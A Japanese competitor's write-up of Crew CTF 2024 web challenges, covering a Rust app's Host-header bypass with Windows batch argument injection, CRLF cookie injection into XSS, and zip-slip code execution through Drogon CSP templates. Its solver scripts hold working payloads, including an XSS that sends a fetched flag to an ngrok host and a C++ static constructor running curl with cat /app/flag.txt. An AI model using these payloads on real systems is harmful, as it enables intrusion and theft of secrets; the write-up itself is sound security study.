🌀

Crew CTF 2024 web writeup

2024/08/05に公開

Crew CTF 2024も脆弱エンジニアで参加しまして、結果19位でした。並行してn00bzCTFとかTFC CTFが開催されていて、いつもより参加人数は少なかったですが、それでも結構いい成績だったと思います。

自分はあと一歩で二週連続全完だったのですが、惜しくも届かず、というところでした。

問題としては、rust、c++、java、コードなし、といつものpythonやjavascriptが無いので、ストレスではありましたが、難易度はそこそこといったようでした。非想定解が多すぎましたが、今回はPwn担当の人が作成したようで、まあしょうがないのかなと思いました。

✅Malkonkordo(82pts 57/575 クリア率9.9%)

src/main.rs
    let app = Route::new()
/* snap */
        .nest(
            "/ai", // Look boss! We have AI in our product! ("Admin Interface") -V // You get a pass this time, but if you mention AI again, I will f****** piledrive you. -T
            Route::new()
                .at("/", StaticFileEndpoint::new("./static/admin.html"))
                .nest("/run", get(route_admin_run)) // TODO: change to post. -V // https://thedailywtf.com/articles/The_Spider_of_Doom -T
                .around(middleware_localhost),
        )
/* snap */

/aiというルートにadmin用のページがあるようだ。ただし、middleware_localhostというWAFで防がれている。

src/main.rs
async fn middleware_localhost<E: Endpoint>(next: E, req: Request) -> Result<Response> {
    // No authentication? -T // "I [too] like to live dangerously." -V
    println!("{}", req.uri());
    if let Some(host) = req.uri().host().or(req.header("host")) {
        if !host.trim_start().starts_with("127.0.0.1") {
            return Err(Error::from_status(StatusCode::UNAUTHORIZED));
        }
    } else {
        return Err(Error::from_status(StatusCode::UNAUTHORIZED));
    }

    let resp = next.call(req).await?.into_response();
    Ok(resp)
}
/* snap */

ヘッダーのHost127.0.0.1であることを確認しているだけなので、リクエストで書き換えれば良い。

/ai下では様々なルートがあるが、気になるのは/ai/runping2というコマンド。.\scripts\ping.batというスクリプトを実行している。Windowsだったんかい。

src/admin.rs
fn handle_cmd(cmd: &str, arg: &str) -> Result<String, String> {
    eprintln!("cmd: {};  arg: {}", cmd.escape_default(), arg);
    match cmd {
    /* snap */
        "ping2" => {
            if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) {
                return Err("bad chars found".to_string());
            }
            let routput = Command::new(".\\scripts\\ping.bat")
                .arg(arg)
                .output();

            if let Err(_e) = routput {
                return Err("failed to run ping2 output".to_string());
            }

            Ok(String::from_utf8_lossy(&routput.unwrap().stdout).to_string())
        }
    /* snap */
}

.\scripts\ping.batは、IPアドレスを受取り、pingコマンドを行うスクリプトのようだ。

src/scripts/ping.bat
@echo off
mode con: cols=55 lines=12
title Network Checker

REM Server to be pinged
SET server=%1

REM SNAP

SET lastFail=never
SET successfulRepetitions=0
SET iter=0

REM SNAP

ECHO Pinging %server%...
PING -n 1 -l %packetSize% %server% >NUL

ここで、IPアドレスにWAFが適用されていることに気づく。

admin.rs
if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) {
    return Err("bad chars found".to_string());
}

"'が禁止されているのはなぜだろうか?もしかしてそうしないとRCEの危険性があるのだろうか?Windowsで使えるテクニックは無いかとここここを読んでいると、このようなbypassをみつけた

In Windows, %VARIABLE:~start,length% is a syntax used for substring operations on environment variables.
ping%CommonProgramFiles:~10,-18%127.0.0.1
ping%PROGRAMFILES:~10,-5%127.0.

どうやら、環境変数の一部の文字を利用できるらしい。そこで、ダブルクオートが含まれる環境変数はないかとデフォルトで定義された環境変数一覧を探してみたが駄目だった。
これがrustで実行されていることを思い出し、rust関係の環境変数で良いものがいないか一覧をさがしてみると、

CARGO_PKG_DESCRIPTION — The description from the manifest of your package.

Cargo.toml
[package]
name = "malkonkordo"
version = "1.0.0"
edition = "2021"
authors = ['TrebledJ']
description = "An awesome, minimal, down-to-earth markdown previewer rendered in the style of Discord... well, close enough. Why would you need such a tool? Good question! Have you ever thought to yourself: Hmm, I'd like to preview a message without switching to personal DMs or chucking the message in a random channel. Now ALL your problems are assuaged by this amicable site! \"In a serener Bright, \\ In a more golden light \\ I see \\ Each little doubt and fear, \\ Each little discord here \\ Removed.\" - Emily Dickinson"

都合よくダブルクオートが含まれているので、上記のダブルクオートをCARGO_PKG_DESCRIPTIONの364文字目に置き換えて、ソルバーを作成した。

solver.py
import requests

URL = "http://34.89.30.122/"
# URL = "http://localhost:8000/"
EVIL = "https://tchen.ngrok.pizza/"

r = requests.get(URL + "ai/run", headers={
    "Host": "127.0.0.1"
}, params={
    "cmd": "ping2",
    "arg": "x%CARGO_PKG_DESCRIPTION:~364,1%| type flag.txt"
})

print(r.text)
Discordで話を聞いたところわかったこと
  • review.rsは完全に無視して解いたが、実はそれを利用してSSRFするのが想定解で、Host書き換えは非想定解だった
  • CARGO_PKG_DESCRIPTIONの代わりに、シェルを実行したときの文字列が格納されたCMDCMDLINEを利用しても良い
  • この脆弱性はCVE-2024-24576として発表されている

✅curelf (417pts 13/575 クリア率2.3%)


ソースコードが与えられていない問題。本を選択してカートに入れることができたり、チェックアウトすることができる。

また、webページを報告するとbotが巡回してくれるサイトがあり、ヒントとしてbotのみがアクセスできる/flagというルートが存在することが示されている。

main.py
#...

@app.route('/flag')
def flag():
    if request.remote_addr == admin_ip:
        return os.environ["FLAG"]
    else:
        return "You are not admin!"

#...

いろいろ触ってみて気づいたこと

  • カートに追加するとCookieにCart="{\"cartItems\": \"1\"}"といった値が追加される。home.jsでこの値がt.innerHTMLに代入されるので、この値を書き換えるとXSSをおこなうことができる。

    static/js/home.js
    function o(e) {
        e = document.cookie.match("(^|;)\\s*" + e + "\\s*=\\s*([^;]+)");
        return e ? e.pop() : ""
    }
    
    setBadgeCheckoutCount = function() {
        var e = 0;
        try {
            var t = JSON.parse(o("Carts"));
            console.log(t);
            "" !== t && (e = JSON.parse(decodeURIComponent(t)).cartItems)
        } catch (e) {
            console.log(e)
        }
        t = document.getElementById("test");
        t.innerHTML = "CART " + e;
    }
    
    setBadgeCheckoutCount();
    
  • ボットのページに次のように書いているので、nginxで動いていることがわかる。

    Status will be shown here after submission. Please use http://nginx/ for report to the admin

  • 存在しないファイルが見つかる(例えば/static/css/profileHome.css)と、//static/css/profileHome.cssにリダイレクトされた後、何度もリダイレクトして、最終的に回数制限でストップする。

以上のことから、nginxのredirectの設定がおかしいのではないかという疑惑があがった。Hacktrickを読んでみると、HTTP Request Splittingという攻撃ができるらしい。

以下のファイルは想像だが、

location / {
  try_files $uri @redirect
}
location @redirect {
    return 302 /$uri
}

のようになっているとする。ここで、$uriを使うと正規化されてしまうので、例えば%0D%0A\r\nに変換される。したがって、

http://example.com/foobar%0D%0ASet-Cookie:%20biz=baz

$uri

http://example.com/foobar
Set-Cookie: biz=baz

となり、Headerは

HTTP/1.1 302 Moved Temporarily
Location: http://example.com/foobar
Set-Cookie: biz=baz

となり、任意のヘッダーを挿入できてしまう。これを利用して、CartのCookieを書き換えられそうだ。そのようなURLをBotに送ることでフラグを入手した。

solver.py
import requests
from base64 import b64encode

# URL = "http://51.120.3.165/"
URL = "http://nginx/"
BOT = "http://51.120.3.165:16005/"
EVIL = "http://tchen.ngrok.pizza/"


payload = f"""
(async () => {{
    document.location.assign("{EVIL}res?v=" + await(await fetch("/flag")).text())
}})()
""".encode()
json = f'''%22%7B%5C%22cartItems%5C%22:%20%5C%22%3Cimg%20src=X%20onerror='eval(atob(%60{b64encode(payload).decode()}%60))'%3E%5C%22%7D%22'''
url = f"""{URL}%0D%0ASet-Cookie:%20Carts={json};%20Path=/"""
r = requests.post(BOT + "visit", json={
    "url": url,
})
Discordで話を聞いたところわかったこと
  • プロファイルページにCSRFの脆弱性があったらしく、さらに書き換えたプロファイルでXSSを行うこともできたらしい。それを利用した解法もあった(非想定解)

✅Niceview 1 (417pts 11/575 クリア率1.9%)


msczという形式の楽譜ファイルをアップロードすると、wavファイルしてくれるサービス。/app/flag.txtを入手するのが目的。motivation.msczというファイルが配布されているので、それにいい感じに変更を加えてアップロードできる。

Step 1: Zip slip

中を覗いてみると、msczの実態はzipファイルで、それを解凍していることがわかる。

src/relay.hpp
juce::Result synthesise(const std::string& musescorePath, const std::string& outputPath)
{
	juce::File mscx;
	if (auto res = unzipMusescoreFile(mscx, musescorePath); !res)
		return res;
    /* snap */
}

さらに、/view/<filename>というルートがあるが、どうやらDrogon CSPというテンプレートエンジンを描画してくれるみたいだ。

src/main.ccp
int main(int, const char*[])
{
    /* snap *//
	app().registerHandler(
		"/view/{}",
		[](const HttpRequestPtr& req, std::function<void(const HttpResponsePtr&)>&& callback, const std::string& page) {
			logRequest(req);

			BadBadReason reason = isViewBadBad(page);
			switch (reason) {
            /* snap */
				case FileOk: {
					auto resp = HttpResponse::newHttpViewResponse(page);
					callback(resp);
					break;
				}
			}
		});

ありがたいことに、ファイルを追加すると自動で読み取れるように変換してくれるような設定になっている。

config.json
{
    /* snap */
    "app": {
        /* snap */
        "load_dynamic_views": true,
        "dynamic_views_path": ["./views/d"],
        /* snap */
    }
}

したがって、zip slip攻撃に対する対策がなされていないので、/view/d/<ファイル名>.cspを作成するようにした。ChatGPTにほとんど書いてもらった

ここまでのソルバー
solver.py
import os
import sys
import time
import zipfile
import requests

# URL = "http://niceview1.chal.crewc.tf:1337/"
URL = "http://localhost:8080/"
EVIL = "https://tchen.ngrok.pizza/"


attack_filename = "tepelchenattack"
attack = f"""foobar"""

# os.remove('a.mscz')

with zipfile.ZipFile("a.mscz", 'w', zipfile.ZIP_DEFLATED) as zipf:
    for root, dirs, files in os.walk("motivation"):
        for file in files:
            file_path = os.path.join(root, file)
            arcname = os.path.relpath(file_path, start="motivation")
            zipf.write(file_path, arcname)
    malicious_file_path = f'/app/views/d/{attack_filename}.csp'
    zipf.writestr(malicious_file_path, attack)

r = requests.post(URL + "upload", files={
    'score': ('a.mscz', open('./a.mscz', "rb").read(), 'application/octet-stream'),
})

time.sleep(3)
r = requests.get(URL + f"view/{attack_filename}")
print(r.text)

あれ、、、、値が返って来てないぞ...?(この後衝撃の事実が明らかに)

Step 2: CSPファイルのWAF回避

アップロードしたファイルは、/view/d/から読み取る際に、WAFによって多くの文字列が禁止されてしまっている。

main.cpp
BadBadReason isViewBadBad(const std::string& tmpl)
{
	std::string filename = "./views/d/" + tmpl + ".csp";
	if (!checkFileExists(filename)) {
		return FileNotExist;
	}

	std::ifstream file{filename};
	file.seekg(0, std::ios::end);
	size_t size = file.tellg();
	if (size > GOLF_SIZE) { // Let's go golfing!
		return FileTooBig;
	}
	// Read file.
	std::string buffer(size, ' ');
	file.seekg(0);
	file.read(&buffer[0], size);

	static const std::string badbadstrings[] = {"G",	"D",   "A",	   "E",		 "define", "pragma",
												"##",	"$$",  "c++",  "<<",	 ">>",	   "{%", "view", "layout", "[[", "open",
												"read", "exec", "stream", "char",   "string"};
	for (const auto& s : badbadstrings)
		if (buffer.find(s) != std::string::npos) {
			LOG_INFO << "FOUND " << s;
			// Found.
			return FileHasBadString;
		}

	return FileOk;
}

APIを読むと、許可されているタグは<%inc %>だけであることがわかる。

ヘッダーファイルを読み込んだ時点でコードを実行する方法はないですか?とchatgptに聞いたところ、静的クラスのコンストラクタを使えばいいと。なるほど。ヘッダーファイルならばWAFを通らないので、好きなコードを書くことができる。


こいつ何かっこつけてるん?

以下がソルバー。ソルバーを実行してファイルが/view/dに配置された時点で、ヘッダーファイルが読み込まれるため、/view/d/<ファイル名>を取得しにいかなくてもサーバーにフラグが返ってくる(のでWAFは気にしなくてもよい)。

solver.py
import os
import zipfile
import requests

URL = "http://niceview1.chal.crewc.tf:1337/"
# URL = "http://localhost:8080/"
EVIL = "https://tchen.ngrok.pizza/"


attack_filename = "tepelchenattack"
attack = f"""<%inc #include "{attack_filename}.hpp"  %>abc"""

attack_hpp = """
#include <stdio.h>
class StaticInit {
public:
    StaticInit() {
        system(\"curl https://tchen.ngrok.pizza/?v=$(cat /app/flag.txt)\");
    }
};
static StaticInit initObject;
"""

with zipfile.ZipFile("a.mscz", 'w', zipfile.ZIP_DEFLATED) as zipf:
    for root, dirs, files in os.walk("motivation"):
        for file in files:
            file_path = os.path.join(root, file)
            arcname = os.path.relpath(file_path, start="motivation")
            zipf.write(file_path, arcname)
    malicious_file_path = f'/app/views/d/{attack_filename}.csp'
    zipf.writestr(malicious_file_path, attack)
    malicious_file_path = f'/app/views/d/{attack_filename}.hpp'
    zipf.writestr(malicious_file_path, attack_hpp)


r = requests.post(URL + "upload", files={
    'score': ('a.mscz', open('./a.mscz', "rb").read(), 'application/octet-stream'),
})

結果:

127.0.0.1 - - [04/Aug/2024 04:35:33] "GET /?v=crewThat's_quite_a_nice_view!_Dynamic_libraries_are_fun HTTP/1.1" 200 -
127.0.0.1 - - [04/Aug/2024 04:35:34] "GET /?v=crew_in'nit?_2061b82f3caf3e55df0c1d8cd HTTP/1.1" 200 -

一瞬戸惑ってしまったが、これはcurl X crew{A,B}curl X crewAcurl X crewBに分割されてしまった結果だろう、ということで、2つをコンマでつなげてフラグを得た。

Newview 2を解いていてわかった衝撃の事実

/view/d/<ファイル名>を取得しにいかなくてもサーバーにフラグが返ってくる。が、問い合わせてもそもそも結果が返ってこないのが気になってはいた。

上記のコードをよく読むと、/view/foobar.cspに問い合わせたときに、取得されるのは/views/d/foobar.cspだが、WAFを通るのは/views/d/foobar.csp.cspであることがわかる。したがって、<%inc %>で回避したとか全く関係なく、読み取るファイルがWAFによって検証されることは最初からなかったのだ。

solver2.py
import os
import time
import zipfile
import requests

URL = "http://niceview1.chal.crewc.tf:1337/"
# URL = "http://localhost:8080/"
EVIL = "https://tchen.ngrok.pizza/"


attack_filename = "tepelchenattack"
attack = f"""<%inc #include <fstream> %>
<%c++ 
std::ifstream ifs("/app/flag.txt", std::ios::in);
std::string str;
std::getline(ifs, str);
$$ << str;
%>"""

with zipfile.ZipFile("a.mscz", 'w', zipfile.ZIP_DEFLATED) as zipf:
    for root, dirs, files in os.walk("motivation"):
        for file in files:
            file_path = os.path.join(root, file)
            arcname = os.path.relpath(file_path, start="motivation")
            zipf.write(file_path, arcname)
    malicious_file_path = f'/app/views/d/{attack_filename}.csp'
    zipf.writestr(malicious_file_path, attack)
    malicious_file_path = f'/app/views/d/{attack_filename}.csp.csp'
    zipf.writestr(malicious_file_path, "")

r = requests.post(URL + "upload", files={
    'score': ('a.mscz', open('./a.mscz', "rb").read(), 'application/octet-stream'),
})

time.sleep(10)
r = requests.get(URL + f"view/{attack_filename}.csp")
print(r.text)

# 127.0.0.1 - - [04/Aug/2024 04:35:33] "GET /?v=crewThat's_quite_a_nice_view!_Dynamic_libraries_are_fun HTTP/1.1" 200 -
# 127.0.0.1 - - [04/Aug/2024 04:35:34] "GET /?v=crew_in'nit?_2061b82f3caf3e55df0c1d8cd HTTP/1.1" 200 -

✅Niceview 2 (457pts 8/575 クリア率1.4%)

Niceview 1とほとんど同じだが、zipから解凍されたファイルのほとんどがWAFを通るようになっている。その代わり、利用できない文字列が少なくなっている。

relay.hpp
juce::Result unzipMusescoreFile(juce::File& mscx, const std::string& musescorePath)
{
    /* snap */

	for (int i = 0; i < mscz.getNumEntries(); i++) {
		juce::String fn = mscz.getEntry(i)->filename;

		for (char c : fn) {
			if (!(isalpha(c) || c == '/' || c == '.' || c == '-' || c == '_'))
				return juce::Result::fail("invalid filename");
		}

		juce::String trimmed = fn.trimEnd();
		if (trimmed.endsWith(".mss") || trimmed.endsWith(".mscx") || trimmed.endsWith(".xml")
			|| trimmed.endsWith(".json") || trimmed.endsWith(".png"))
		{
			continue;
		}

		juce::InputStream* riverFlowsInYou = mscz.createStreamForEntry(i);
		if (!riverFlowsInYou) {
			// Mr. Yiruma doesn't like your river of code.
			return juce::Result::fail("bad stream");
		}

		juce::String content = riverFlowsInYou->readEntireStreamAsString();
		int size = content.length();
		if (size > GOLF_SIZE) {
			// You should get a 5 iron and go learn from Mr. Woods.
			return juce::Result::fail("file too big");
		}

		static const std::string badbadstrings[] = {"G",	"D",	"A",   "E",	   "define", "pragma", "##",	"__",
													"open", "read", "sys", "exec", "stream", "char",   "string"};
		for (const auto& s : badbadstrings)
			if (content.contains(s)) {
				// Go see a luthier to get your strings fixed.
				return juce::Result::fail("file contains bad string");
			}
	}
    /* snap */
}

Niceview 1のどちらの解法も、禁止単語を含むファイルをアップロードしているため利用できない。<%c++ %>が利用できるので、C++を直接実行できるが、openreadsysexecstreamcharstringのいずれも利用しないでファイルを読み取る方法は思いつかなかった。

ここで、pngなどのファイルはこの制約を受けないこと、そして、WAFの制約を受けるのは解凍した時のみであることを利用して、pngファイルとしてアップロードしたものを、cspファイルに後から書き換えるという方針を思いついた。

solver.py
import os
import time
import zipfile
import requests

URL = "http://niceview2.chal.crewc.tf:1337/"
# URL = "http://localhost:8080/"
EVIL = "https://tchen.ngrok.pizza/"


attack_filename = "tepelchenattack"
attack1 = f"""<%c++ 
$$ << rename("/app/views/d/{attack_filename}_real.png", "/app/views/d/{attack_filename}_real.csp"); 
%>
"""
attack2 = f"""
<%inc #include <fstream> %>
<%c++ 
std::ifstream ifs("/app/flag.txt", std::ios::in);
std::string str;
std::getline(ifs, str);
$$ << str;
%>"""

with zipfile.ZipFile("a.mscz", 'w', zipfile.ZIP_DEFLATED) as zipf:
    for root, dirs, files in os.walk("motivation"):
        for file in files:
            file_path = os.path.join(root, file)
            arcname = os.path.relpath(file_path, start="motivation")
            zipf.write(file_path, arcname)
    malicious_file_path = f'/app/views/d/{attack_filename}.csp'
    zipf.writestr(malicious_file_path, attack1)
    malicious_file_path = f'/app/views/d/{attack_filename}.csp.csp'
    zipf.writestr(malicious_file_path, "")
    malicious_file_path = f'/app/views/d/{attack_filename}_real.png'
    zipf.writestr(malicious_file_path, attack2)
    malicious_file_path = f'/app/views/d/{attack_filename}_real.csp.csp'
    zipf.writestr(malicious_file_path, "")


r = requests.post(URL + "upload", files={
    'score': ('a.mscz', open('./a.mscz', "rb").read(), 'application/octet-stream'),
})

for i in range(3):
    time.sleep(5)
    r = requests.get(URL + f"view/{attack_filename}")
    print(r.text)
    time.sleep(5)
    r = requests.get(URL + f"view/{attack_filename}_real")
    print(r.text)
    if r.status_code == 200:
        break
Discordで話を聞いたところわかったこと
  • c++のヘッダーは、拡張子がなんでもいいので、Niceview 1のhppファイルの拡張子をpngに書き換えるだけでフラグをゲットできたらしい。
  • Niceview 2の方はzip symlink attackでもクリアできたらしい

BearBurger(495pts 2/575 クリア率0.35%)

想定解を聞いてわかったのは、自分は非想定の方法でadmin昇格していたせいで、admin昇格に使うはずだったSQLiの部分ですごく時間を費やしてしまったことだ。非想定解センサーを働かせなければ。。。

follow up として後日公開

まとめ


ここまで貼ればわかるやろ

Discussion